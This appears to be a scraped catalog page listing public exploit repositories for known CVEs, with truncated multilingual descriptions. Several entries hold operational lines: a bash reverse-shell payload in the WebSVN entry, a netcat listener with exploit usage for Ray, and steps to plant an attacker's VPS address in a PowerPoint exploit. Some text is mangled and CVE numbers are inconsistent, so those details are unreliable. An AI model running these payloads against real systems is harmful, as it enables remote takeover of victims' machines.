CVE-2022-30190_EXP_PowerPoint

CVE-2022-30190EXPPowerPoint Это эксплойт CVE-2022-30190 для PowerPoint. Измените расширение файла на 'zip' и распакуйте его. Вы можете отредактировать \ppt\slides\rels\slide1.xml.rels и заменить на IP:порт вашего VPS, как показано ниже, затем сожмите их тем же способом и измените расширение на...

CVE-2021-21110

CVE-2021-21110 CVE-2021-21110 : Эксплойт удаленного выполнения кода через серверную инъекцию шаблонов в Tiki Wiki CMS GroupWare...

OHTS

OHTS CVE-2017-8759 | Уязвимость удаленного выполнения кода в .NET Framework 1. Введение Уязвимость удаленного выполнения кода существует, когда Microsoft .NET Framework обрабатывает непроверенные входные данные. Злоумышленник, успешно воспользовавшийся этой уязвимостью в программном обеспечении,...

Laravel-8.4.2-rce-CVE-2021-3129

Laravel-8.4.2-rce-CVE-2021-3129 root@kitploit: exploit.py tested use python3,and only working with phpggc . first docker-compose up port on 8888 at 127.0.0.1 generate key first...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 with Metasploit-Framework Уязвимость CVE-2019-0708 позволяет обойти аутентификацию, проверяя её, и без какого-либо взаимодействия напрямую отправлять вредоносный код на сервер через протокол RDP для выполнения команд. Если она будет использована злоумышленником, это...

exploit-CVE-2015-8351

Эксплойт RFI для плагина Gwolle Guestbook WordPress Этот скрипт на Python эксплуатирует критическую уязвимость Remote File Inclusion RFI в плагине Gwolle Guestbook для WordPress, которая позволяет неаутентифицированному злоумышленнику включить удалённый PHP-файл и выполнить произвольный код на...

EvilSunCheck

Проверка уязвимости EvilSun CVE-2020-14871 Это небольшой скрипт на Python для обнаружения уязвимости «EvilSun» CVE-2020-14871 в системах Solaris. Уязвимость представляет собой переполнение буфера в подключаемом модуле аутентификации PAM pamunixauth при обработке клавиатурно-интерактивной...

CVE-2020-11108-PoC

CVE-2020-11108-PoC В этом репозитории находятся два PoC. cve-2020-11108-rce.py даст вам шелл от имени пользователя www-data. root-cve-2020-11108-rce.py даст вам шелл и повысит привилегии до root. Примечание: это деструктивно, так как мы должны перезаписать teleporter.php. Полное объяснение/отчёт...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

В этом репозитории нет README...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 これは、CVE-2021-3205のエクスプロイトです。search.phpパスにおけるコマンドインジェクションのWeb脆弱性であり、このエクスプロイトによりコマンドを実行できます。 必要条件 optparse, signal, requests 使用方法 root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ n...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE Это эксплойт для CVE-2019-16278 уязвимости Nostromo 1.9.6 RCE. Данный эксплойт позволяет выполнить удаленный код на целевой машине. Требования optparse socat sys Использование Вы можете использовать эксплойт следующим образом: root@kitploit: python3...

CVE-2021-31630

OpenPLC WebServer v3 - Аутентифицированное удаленное выполнение кода CVE-2021-31630 Этот эксплойт основан на эксплойте с Exploit-DB от Fellipe Oliveira. Сначала аутентифицируйтесь Загрузите вредоносный C-файл Скомпилируйте его Запустите ПЛК инициируйте reverse shell Остановите ПЛК нет необходимос...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133: удалённое выполнение кода в Moodle при аутентификации в качестве учителя...

CVE-2024-25466

CVE-2024-25466 CVE-2024-25466에 대한 설명 제안된 설명 React Native Document Picker의 디렉터리 트래버설 취약점으로, v.9.1.1 이전 버전에 존재하며 v.9.1.1에서 수정되었습니다. 이 취약점으로 인해 로컬 공격자가 조작된 스크립트를 Android 라이브러리 구성 요소에 전달하여 임의 코드를 실행할 수 있습니다. 취약점 유형 디렉터리 트래버설 제품 공급업체 https://github.com/rnmods/react-native-document-picker/ 영향받는 제품 코드 베...

Log4j-_Vulnerability

Веб уязвим к CVE-2021-44228 Это веб-приложение уязвимо к CVE-2021-44228 — критической уязвимости безопасности в Apache Log4j 2, известной как Log4Shell. Данная уязвимость позволяет неаутентифицированному злоумышленнику удалённо выполнять вредоносный код, просто отправив определённые входные данны...

CVE-2023-6019

Внедрение команд ОС Ray RCEбез авторизации Использование: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2022-21661

🛡️ CVE-2022-21661 Proof-of-Concept PoC эксплойт на Python для CVE-2022-21661 — критической уязвимости в WordPress, которая позволяет неавторизованному злоумышленнику проводить атаку через внедрение объектов object injection , что при определённых условиях может привести к удалённому выполнению код...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Эксплойт для уязвимости удаленного выполнения кода в Microsoft Outlook 📜 Описание Этот скрипт представляет собой доказательство концепции PoC для CVE-2024-21413, значительной уязвимости безопасности, обнаруженной в Microsoft Outlook с показателем CVSS 9.8. Названная ошибкой...

CVE-2018-4121

CVE-2018-4121 — POC RCE-эксплойт для Safari Wasm Sections от MWR Labs c 2018 Детали этот POC-эксплойт нацелен только на Safari 11.0.3 13604.5.6 на macOS 10.13.3 17D47. скомпилируйте payload по вашему выбору в виде dylib с конструктором запустите python filetojsarray.py your.dylib payload.js...

GPON

RCE на домашних роутерах GPON CVE-2018-10561 Уязвимость Многие роутеры сегодня используют GPON-интернет, и способ обойти всю аутентификацию на устройствах CVE-2018-10561 был найден VPNMentor. С помощью этого обхода аутентификации также можно выявить другую уязвимость внедрения команд CVE-2018-105...